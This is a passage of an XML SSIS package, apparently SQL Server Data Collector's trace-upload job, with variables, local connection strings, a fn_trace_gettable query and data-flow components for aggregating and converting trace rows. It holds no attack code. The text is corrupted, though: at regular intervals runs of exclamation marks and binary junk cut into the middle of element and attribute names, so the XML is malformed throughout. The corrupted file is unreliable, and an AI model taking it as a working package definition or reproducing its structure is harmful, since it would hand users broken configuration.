use_default="1"&gt;&lt;Events/&gt;&lt;Filters/&gt;&lt;/ns:SqlTraceCollector&gt;</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9E6FBB1C-469F-44CC-839D-A0B5EE84CEF4}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8BFB15C6-3D9A-4C4D-B1F4-B4EBF49B8D65}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">MSSQLSERVER</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{43E08441-AEAE-4004-87B5-B11D2507FCF6}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B7F59CF4-A8A0-4E82-93A0-E52E8E859904}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E466E841-5C40-48CB-8CFC-E678F9967C80}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{049D5A2B-A19C-4F1B-8036-0392BC42CE3A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A6803296-75B6-41BC-B261-1EA8C279A888}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=myMDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F21C218D-AA71-457B-99D0-CE63B7012CA4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{59D1463F-2A4E-4399-BFE9-814648EBDB91}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="RowCountIn"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B649CEEE-C1E3-4434-A3BC-86FC468A9EDD}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SnapshotID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9D4E5F6C-F05E-42AD-8E32-8D215CBC25DD}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SourceID"><DTS:VariableValue DTS:DataType="3">0</DTS:Variabl	!!!!!!!!!!!!!!!!!!!!!!!!`1j%EIHveValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5D48AFDE-B6ED-4AD2-A721-030A19BBB2BB}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5D57E938-0D8F-4C71-959A-C20D0BAD5C09}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceCurrentEventTime"><DTS:VariableValue DTS:DataType="8">2007-03-13 14:28:51.820</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{72FDA754-43D5-4AAC-930C-6074C64CE825}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceCurrentFile"><DTS:VariableValue DTS:DataType="8">C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0_1.trc</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7B00BCC4-67F6-4480-8034-2836E0929FE8}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceDroppedEventCount"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{00FC8CA7-8D41-4099-9A78-865E9CB964A4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E9DB8444-2521-4213-8DDE-2F19885D8E74}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceInfoID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{39F34FBD-911E-4F15-847D-577DC76049CA}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceIsRunning"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0D1478BA-31B7-42AD-8762-50342593C49C}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceLastEventSequence"><DTS:VariableValue DTS:DataType="8">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7C0FFEA0-C638-49F3-AA0D-9DCA4A372559}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\DC_Trace_&quot; + @[System::MachineName] + &quot;.&quot; + @[User::InstanceID] +  &quot;.&quot; + @[User::CollectionSetUID] +  &quot;.&quot; + (DT_WSTR, 5) @[User::ItemID]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceLocation"><DTS:VariableValue DTS:DataType="8">\DC_Trace_SETHS-SSISVSTA2.MSSQL.1..0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E5277DAE-C666-41F7-B34E-3B58DC087855}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceStartTime"><DTS:VariableValue DTS:DataType="8">2007-03-13 14:24:40.000</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8F4EF19C-F61E-4CEE-BE5A-A73B4EA5A710}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceUseDefault"><DTS:VariableValue DTS:DataType="8">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="Source	!!!!!!!!!!!!!!!!!!!!!!!!`1HvName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\For Loop Container" DTS:AssignExpression="@Counter = @Counter + 1" DTS:CreationName="STOCK:FORLOOP" DTS:Description="For Loop Container" DTS:DTSID="{ECC401D1-FE83-46E6-AD37-0E1F711F0C62}" DTS:EvalExpression="@Counter &lt; 2" DTS:ExecutableType="STOCK:FORLOOP" DTS:InitExpression="@Counter = 0" DTS:LocaleID="-1" DTS:MaxConcurrent="1" DTS:ObjectName="For Loop Container"><DTS:Variables/><DTS:Executables><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload" DTS:CreationName="STOCK:FOREACHLOOP" DTS:Description="Foreach Loop Container" DTS:DTSID="{26A8C112-8CCB-4C21-BADC-77E438246248}" DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FEF - For each trace file - regular trace upload"><DTS:ForEachEnumerator DTS:CreationName="DTS.ForEachFileEnumerator.3" DTS:DTSID="{821B0536-E431-458F-8EAE-028BE667F142}" DTS:ObjectName="{821B0536-E431-458F-8EAE-028BE667F142}"><DTS:PropertyExpression DTS:Name="Directory">@[User::CacheDirectory]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="FileSpec">"DC_Trace_" + @[System::MachineName] + "." + @[User::InstanceID] +  "." + @[User::CollectionSetUID] +  "." + (DT_WSTR, 5) @[User::ItemID]  + "*.trc"</DTS:PropertyExpression><DTS:ObjectData><ForEachFileEnumeratorProperties><FEFEProperty Folder=""/><FEFEProperty FileSpec="DC_Trace_SETHS-SSISVSTA2.MSSQL.1..0*.trc"/><FEFEProperty FileNameRetrievalType="0"/><FEFEProperty Recurse="0"/></ForEachFileEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{3D6F8AD1-3C96-4920-B28C-F360CA77AEFD}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{3ED87BA4-E9D0-4FC4-A1A1-47A19C6EDF3B}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{491029A7-AEDE-4DAC-B07E-7C134EF63963}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{96A9329D-379F-466F-970B-4A97A3FCF7A1}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Upload trace file"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{76E0DEBC-BF6A-45D2-A30B-EB6746BEB47B}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;SELECT &#x0A;    [TextData], &#x0A;    [BinaryData], &#x0A;    [DatabaseID], &#x0A;    [TransactionID], &#x0A;    [LineNumber], &#x0A;    [NTUserName], &#x0A;    [NTDomainName], &#x0A;    [HostName], &#x0A;    [ClientProcessID], &#x0A;    [ApplicationName], &#x0A;    [LoginName], &#x0A;    [SPID], &#x0A;    [Duration], &#x0A;    [StartTime], &#x0A;    [EndTime], &#x0A;    [Reads], &#x0A;    [Writes], &#x0A;    [CPU], &#x0A;    [Permissions], &#x0A;    [Severity], &#x0A;    [EventSubClass], &#x0A;    [ObjectID], &#x0A;    [Success], &#x0A;    [IndexID], &#x0A;    [IntegerData], &#x0A;    [ServerName], &#x0A;    [EventClass], &#x0A;    [ObjectType], &#x0A;    [NestLevel], &#x0A;    [State], &#x0A;    [Error], &	!!!!!!!!!!!!!!!!!!!!!!!!`1VNDHv#x0A;    [Mode], &#x0A;    [Handle], &#x0A;    [ObjectName], &#x0A;    [DatabaseName], &#x0A;    [FileName], &#x0A;    [OwnerName], &#x0A;    [RoleName], &#x0A;    [TargetUserName], &#x0A;    [DBUserName], &#x0A;    [LoginSid], &#x0A;    [TargetLoginName], &#x0A;    [TargetLoginSid], &#x0A;    [ColumnPermissions], &#x0A;    [LinkedServerName], &#x0A;    [ProviderName], &#x0A;    [MethodName], &#x0A;    [RowCounts], &#x0A;    [RequestID], &#x0A;    [XactSequence], &#x0A;    [EventSequence], &#x0A;    [BigintData1], &#x0A;    [BigintData2], &#x0A;    [GUID], &#x0A;    [IntegerData2], &#x0A;    [ObjectID2], &#x0A;    [Type], &#x0A;    [OwnerID], &#x0A;    [ParentName], &#x0A;    [IsSystem], &#x0A;    [Offset], &#x0A;    [SourceDatabaseID], &#x0A;    [SqlHandle], &#x0A;    [SessionLoginName], &#x0A;    [PlanHandle]&#x0A;, [GroupID] FROM&#x0A;    ::fn_trace_gettable(N'&quot; + @[User::TraceCurrentFile]  + &quot;', 1)&#x0A; WHERE&#x0A;    [EventSequence] &gt; &quot; + @[User::TraceLastEventSequence]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceLoadScript"><DTS:VariableValue DTS:DataType="8">SELECT 
    [TextData], 
    [BinaryData], 
    [DatabaseID], 
    [TransactionID], 
    [LineNumber], 
    [NTUserName], 
    [NTDomainName], 
    [HostName], 
    [ClientProcessID], 
    [ApplicationName], 
    [LoginName], 
    [SPID], 
    [Duration], 
    [StartTime], 
    [EndTime], 
    [Reads], 
    [Writes], 
    [CPU], 
    [Permissions], 
    [Severity], 
    [EventSubClass], 
    [ObjectID], 
    [Success], 
    [IndexID], 
    [IntegerData], 
    [ServerName], 
    [EventClass], 
    [ObjectType], 
    [NestLevel], 
    [State], 
    [Error], 
    [Mode], 
    [Handle], 
    [ObjectName], 
    [DatabaseName], 
    [FileName], 
    [OwnerName], 
    [RoleName], 
    [TargetUserName], 
    [DBUserName], 
    [LoginSid], 
    [TargetLoginName], 
    [TargetLoginSid], 
    [ColumnPermissions], 
    [LinkedServerName], 
    [ProviderName], 
    [MethodName], 
    [RowCounts], 
    [RequestID], 
    [XactSequence], 
    [EventSequence], 
    [BigintData1], 
    [BigintData2], 
    [GUID], 
    [IntegerData2], 
    [ObjectID2], 
    [Type], 
    [OwnerID], 
    [ParentName], 
    [IsSystem], 
    [Offset], 
    [SourceDatabaseID], 
    [SqlHandle], 
    [SessionLoginName], 
    [PlanHandle]
, [GroupID] FROM
    ::fn_trace_gettable(N'C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0_1.trc', 1)
 WHERE
    [EventSequence] &gt; 0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence" componentClassID="{5B201335-B360-485C-BB93-75C34E09B3D3}" contactInfo="Aggregate;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;3" description="Aggregates and groups values in a dataset." name="AGG - Get max value of EventSequence" version="3"><properties><property dataType="System.Int32" description="Specifies the approximate number of group by keys that the aggregation produces. Low indicates 500,000 key values, Medium indicates 5 million key values, and High indicates more than 25 million key values. Unspecified indicates no KeyScale value is used." name="KeyScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of group by keys that the aggregation produces. If a KeyScale value is specified, the value in Keys takes precedence." name="Keys"/><property dataType="System.Int32" description="Specifies the approximate number of distinct values in a column that the aggregation counts distinctly. Low indicates 500,000 key values, Medium indicates 5 million k	!!!!!!!!!!!!!!!!!!!!!!!!`1X
sHvey values, and High indicates more than 25 million key values. Unspecified indicates no CountDistinctScale value is used." name="CountDistinctScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of distinct values in a column that the aggregation counts distinctly. If a CountDistinctScale value is specified, the value in CountDistinctKeys takes precedence." name="CountDistinctKeys"/><property dataType="System.Int32" description="Specifies the percentage by which memory can be extended during the aggregation. Valid values are between 1 and 100." name="AutoExtendFactor">25</property></properties><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1]" name="Aggregate Input 1"><inputColumns><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1].Columns[EventSequence]" cachedDataType="i8" cachedName="EventSequence" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1]" name="Aggregate Output 1"><properties><property dataType="System.Int32" description="Specifies the approximate number of group by keys that the aggregation produces. Low indicates 500,000 key values, Medium indicates 5 million key values, and High indicates more than 25 million key values. Unspecified indicates no KeyScale value is used." name="KeyScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of group by keys that the aggregation produces. If a KeyScale value is specified, the value in Keys takes precedence." name="Keys"/></properties><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]" dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]" name="EventSequence_Max"><properties><property containsID="true" dataType="System.Int32" description="Specifies the ID of the input column used in the aggregation." name="AggregationColumnId">#{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]}</property><property dataType="System.Int32" description="Specifies the type of aggregation." name="AggregationType" typeConverter="AggregationType">7</property><property dataType="System.Int32" description="Indicates whether the column requires special handling because it may contain oversized data or it requires precision beyond a float data type." name="IsBig">1</property><property dataType="System.Int32" description="Specifies the string comparison options." name="AggregationComparisonFlags">0</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]" dataType="ui8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]" name="event_count"><properties><property containsID=	!!!!!!!!!!!!!!!!!!!!!!!!`1m%Hv"true" dataType="System.Int32" description="Specifies the ID of the input column used in the aggregation." name="AggregationColumnId">#{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\0:invalid}</property><property dataType="System.Int32" description="Specifies the type of aggregation." name="AggregationType" typeConverter="AggregationType">2</property><property dataType="System.Int32" description="Indicates whether the column requires special handling because it may contain oversized data or it requires precision beyond a float data type." name="IsBig">1</property><property dataType="System.Int32" description="Specifies the string comparison options." name="AggregationComparisonFlags">0</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Error row count source" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Error row count source"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountError</property></properties><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Error row count source.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Error row count source.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Error row count source.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Input row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountIn</property></properties><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Input row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Output row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." n	!!!!!!!!!!!!!!!!!!!!!!!!`1$Hvame="VariableName">User::RowCountOut</property></properties><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\CNT - Output row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion" componentClassID="{62B1106C-7DB8-4EC8-ADD6-4C664DFFC54A}" contactInfo="Data Conversion;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Data Conversion" name="Data Conversion" usesDispositions="true"><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input]" name="Data Conversion Input"><inputColumns><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input].Columns[SqlHandle]" cachedDataType="image" cachedName="SqlHandle" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input].Columns[PlanHandle]" cachedDataType="image" cachedName="PlanHandle" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output]" exclusionGroup="1" name="Data Conversion Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="IgnoreFailure" length="64" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]" name="SqlHandle64" truncationRowDisposition="IgnoreFailure"><properties><property containsID="true" dataType="System.Int32" description="Specifies the input column used as the source of data for the conversion." name="SourceInputColumnLineageID">#{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]}</property><property dataType="System.Boolean" description="Indicates whether the column uses the faster, locale-neutral parsing routines." name="FastParse">false</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]" dataType="bytes" errorOrTruncationOperation="Con	!!!!!!!!!!!!!!!!!!!!!!!!`1ۥHvversion" errorRowDisposition="IgnoreFailure" length="64" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]" name="PlanHandle64" truncationRowDisposition="IgnoreFailure"><properties><property containsID="true" dataType="System.Int32" description="Specifies the input column used as the source of data for the conversion." name="SourceInputColumnLineageID">#{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]}</property><property dataType="System.Boolean" description="Indicates whether the column uses the faster, locale-neutral parsing routines." name="FastParse">false</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Error Output]" exclusionGroup="1" isErrorOut="true" name="Data Conversion Error Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Inputs[Data Conversion Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add columns" usesDispositions="true"><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><inputColumns><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Inputs[Derived Column Input].Columns[EventSequence_Max]" cachedDataType="i8" cachedName="EventSequence_Max" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\For Loop	!!!!!!!!!!!!!!!!!!!!!!!!`1~Hv Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]" 